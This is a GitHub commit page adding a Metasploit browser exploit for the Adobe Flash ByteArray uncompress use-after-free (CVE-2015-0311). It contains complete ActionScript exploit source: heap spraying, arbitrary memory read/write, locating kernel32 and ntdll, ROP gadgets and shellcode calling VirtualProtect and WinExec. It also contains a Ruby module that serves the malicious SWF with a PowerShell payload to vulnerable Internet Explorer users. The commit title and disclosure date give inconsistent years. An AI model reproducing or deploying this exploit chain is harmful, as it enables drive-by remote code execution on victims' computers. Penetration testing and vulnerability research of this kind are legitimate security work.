Skip to content

Commit 215c209

Browse files
wchen-r7wchen-r7
committed
Land rapid7#4901, CVE-2014-0311, Flash ByteArray Uncompress UAF
2 parents ceeee44 + 14c3848 commit 215c209

File tree

3 files changed

+349
-0
lines changed

3 files changed

+349
-0
lines changed

‎data/exploits/CVE-2015-0311/msf.swf

17.2 KB
Binary file not shown.

‎external/source/exploits/CVE-2015-0311/Main.as

Lines changed: 242 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,242 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Be support to support 16.0 as target-player (flex-config.xml).
4+
// 3. Download the Flex SDK (4.6)
5+
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
6+
// 5. Build with: mxmlc -o msf.swf Main.as
7+
8+
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
9+
// Modified to be used from msf
10+
package
11+
{
12+
import flash.display.Sprite;
13+
import flash.display.LoaderInfo;
14+
import flash.system.ApplicationDomain;
15+
import flash.utils.ByteArray;
16+
import avm2.intrinsics.memory.casi32;
17+
import flash.external.ExternalInterface;
18+
import mx.utils.Base64Decoder;
19+
20+
public class Main extends Sprite
21+
{
22+
private var data:uint = 0xdeaddead
23+
private var uv:Vector.<Object> = new Vector.<Object>
24+
private var ba:ByteArray = new ByteArray()
25+
private var spray:Vector.<Object> = new Vector.<Object>(51200)
26+
private var b64:Base64Decoder = new Base64Decoder();
27+
private var payload:String = "";
28+
29+
/*public static function log(msg:String):void{
30+
var str:String = "";
31+
str += msg;
32+
33+
trace(str);
34+
35+
if(ExternalInterface.available){
36+
ExternalInterface.call("alert", str);
37+
}
38+
}*/
39+
40+
public function Main()
41+
{
42+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
43+
payload = b64.toByteArray().toString();
44+
45+
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
46+
ba.compress()
47+
ApplicationDomain.currentDomain.domainMemory = ba
48+
ba.position = 0x200
49+
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
50+
try {
51+
ba.uncompress()
52+
} catch (e:Error) { }
53+
uv[0] = new Vector.<uint>(0x3E0)
54+
casi32(0, 0x3e0, 0xffffffff)
55+
56+
for (i = 0; i < spray.length; i++) {
57+
spray[i] = new Vector.<Object>(1014)
58+
spray[i][0] = ba
59+
spray[i][1] = this
60+
}
61+
62+
/*
63+
0:008> dd 5ca4000
64+
05ca4000 ffffffff 05042000 05ca4000 00000000
65+
05ca4010 00000000 00000000 00000000 00000000
66+
05ca4020 00000000 00000000 00000000 00000000
67+
05ca4030 00000000 00000000 00000000 00000000
68+
05ca4040 00000000 00000000 00000000 00000000
69+
05ca4050 00000000 00000000 00000000 00000000
70+
05ca4060 00000000 00000000 00000000 00000000
71+
05ca4070 00000000 00000000 00000000 00000000
72+
*/
73+
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
74+
//log("uv[0][0]: " + uv[0][0].toString(16));
75+
76+
ba.endian = "littleEndian"
77+
ba.length = 0x500000
78+
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
79+
//log("buffer: " + buffer.toString(16));
80+
81+
var main:uint = uv[0][0x2000009] - 1
82+
//log("main: " + main.toString(16));
83+
84+
var vtable:uint = vector_read(main)
85+
//log("vtable: " + vtable.toString(16));
86+
87+
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
88+
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
89+
byte_write(uv[0][0])
90+
91+
var flash:uint = base(vtable)
92+
//log("flash: " + flash.toString(16));
93+
94+
// Because of the sandbox, when you try to solve kernel32
95+
// from the flash imports on IE, it will solve ieshims.dll
96+
var ieshims:uint = module("kernel32.dll", flash)
97+
//log("ieshims: " + ieshims.toString(16));
98+
99+
var kernel32:uint = module("kernel32.dll", ieshims)
100+
//log("kernel32: " + kernel32.toString(16));
101+
102+
var ntdll:uint = module("ntdll.dll", kernel32)
103+
//log("ntdll: " + ntdll.toString(16));
104+
105+
var urlmon:uint = module("urlmon.dll", flash)
106+
//log("urlmon: " + urlmon.toString(16));
107+
108+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
109+
//log("virtualprotect: " + virtualprotect.toString(16));
110+
111+
var winexec:uint = procedure("WinExec", kernel32)
112+
//log("winexec: " + winexec.toString(16));
113+
114+
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
115+
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
116+
117+
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
118+
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
119+
120+
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
121+
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
122+
123+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
124+
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
125+
126+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
127+
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
128+
129+
// CoE
130+
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
131+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
132+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
133+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
134+
135+
136+
byte_write(buffer+0x200, payload);
137+
byte_write(buffer + 0x20070, xchgeaxespret)
138+
byte_write(buffer + 0x20000, xchgeaxesiret)
139+
byte_write(0, virtualprotect)
140+
141+
// VirtualProtect
142+
byte_write(0, winexec)
143+
byte_write(0, buffer + 0x30000)
144+
byte_write(0, 0x1000)
145+
byte_write(0, 0x40)
146+
byte_write(0, buffer + 0x100)
147+
148+
// WinExec
149+
byte_write(0, buffer + 0x30000)
150+
byte_write(0, buffer + 0x200)
151+
byte_write(0)
152+
153+
byte_write(main, buffer + 0x20000)
154+
toString()
155+
}
156+
157+
private function vector_write(addr:uint, value:uint = 0):void
158+
{
159+
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
160+
}
161+
162+
private function vector_read(addr:uint):uint
163+
{
164+
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
165+
}
166+
167+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
168+
{
169+
if (addr) ba.position = addr
170+
if (value is String) {
171+
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
172+
if (zero) ba.writeByte(0)
173+
} else ba.writeUnsignedInt(value)
174+
}
175+
176+
private function byte_read(addr:uint, type:String = "dword"):uint
177+
{
178+
ba.position = addr
179+
switch(type) {
180+
case "dword":
181+
return ba.readUnsignedInt()
182+
case "word":
183+
return ba.readUnsignedShort()
184+
case "byte":
185+
return ba.readUnsignedByte()
186+
}
187+
return 0
188+
}
189+
190+
private function base(addr:uint):uint
191+
{
192+
addr &= 0xffff0000
193+
while (true) {
194+
if (byte_read(addr) == 0x00905a4d) return addr
195+
addr -= 0x10000
196+
}
197+
return 0
198+
}
199+
200+
private function module(name:String, addr:uint):uint
201+
{
202+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
203+
var i:int = -1
204+
while (true) {
205+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
206+
if (!entry) throw new Error("FAIL!");
207+
ba.position = addr + entry
208+
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
209+
if (dll_name == name.toUpperCase()) {
210+
break;
211+
}
212+
}
213+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
214+
}
215+
216+
private function procedure(name:String, addr:uint):uint
217+
{
218+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
219+
var numberOfNames:uint = byte_read(eat + 0x18)
220+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
221+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
222+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
223+
224+
for (var i:uint = 0; ; i++) {
225+
var entry:uint = byte_read(addressOfNames + i * 4)
226+
ba.position = addr + entry
227+
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
228+
}
229+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
230+
}
231+
232+
private function gadget(gadget:String, hint:uint, addr:uint):uint
233+
{
234+
var find:uint = 0
235+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
236+
var value:uint = parseInt(gadget, 16)
237+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
238+
return addr + i
239+
}
240+
}
241+
}
242+

‎modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Powershell
12+
include Msf::Exploit::Remote::BrowserExploitServer
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
17+
'Description' => %q{
18+
This module exploits an use after free vulnerability in Adobe Flash Player. The
19+
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
20+
to uncompress() a malformed byte stream. This module has been tested successfully
21+
on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and
22+
16.0.0.235.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Unknown', # Vulnerability discovery and exploit in the wild
28+
'hdarwin', # Public exploit by @hdarwin89
29+
'juan vazquez' # msf module
30+
],
31+
'References' =>
32+
[
33+
['CVE', '2015-0311'],
34+
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
35+
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
36+
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
37+
],
38+
'Payload' =>
39+
{
40+
'DisableNops' => true
41+
},
42+
'Platform' => 'win',
43+
'BrowserRequirements' =>
44+
{
45+
:source => /script|headers/i,
46+
:os_name => OperatingSystems::Match::WINDOWS_7,
47+
:ua_name => Msf::HttpClients::IE,
48+
:flash => lambda { |ver| ver =~ /^16\./ && ver <= '16.0.0.287' },
49+
:arch => ARCH_X86
50+
},
51+
'Targets' =>
52+
[
53+
[ 'Automatic', {} ]
54+
],
55+
'Privileged' => false,
56+
'DisclosureDate' => 'Apr 28 2014',
57+
'DefaultTarget' => 0))
58+
end
59+
60+
def exploit
61+
@swf = create_swf
62+
super
63+
end
64+
65+
def on_request_exploit(cli, request, target_info)
66+
print_status("Request: #{request.uri}")
67+
68+
if request.uri =~ /\.swf$/
69+
print_status('Sending SWF...')
70+
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
71+
return
72+
end
73+
74+
print_status('Sending HTML...')
75+
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
76+
end
77+
78+
def exploit_template(cli, target_info)
79+
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
80+
target_payload = get_payload(cli, target_info)
81+
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
82+
b64_payload = Rex::Text.encode_base64(psh_payload)
83+
84+
html_template = %Q|<html>
85+
<body>
86+
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
87+
<param name="movie" value="<%=swf_random%>" />
88+
<param name="allowScriptAccess" value="always" />
89+
<param name="FlashVars" value="sh=<%=b64_payload%>" />
90+
<param name="Play" value="true" />
91+
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
92+
</object>
93+
</body>
94+
</html>
95+
|
96+
97+
return html_template, binding()
98+
end
99+
100+
def create_swf
101+
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
102+
swf = ::File.open(path, 'rb') { |f| swf = f.read }
103+
104+
swf
105+
end
106+
107+
end

0 commit comments

Comments
 (0)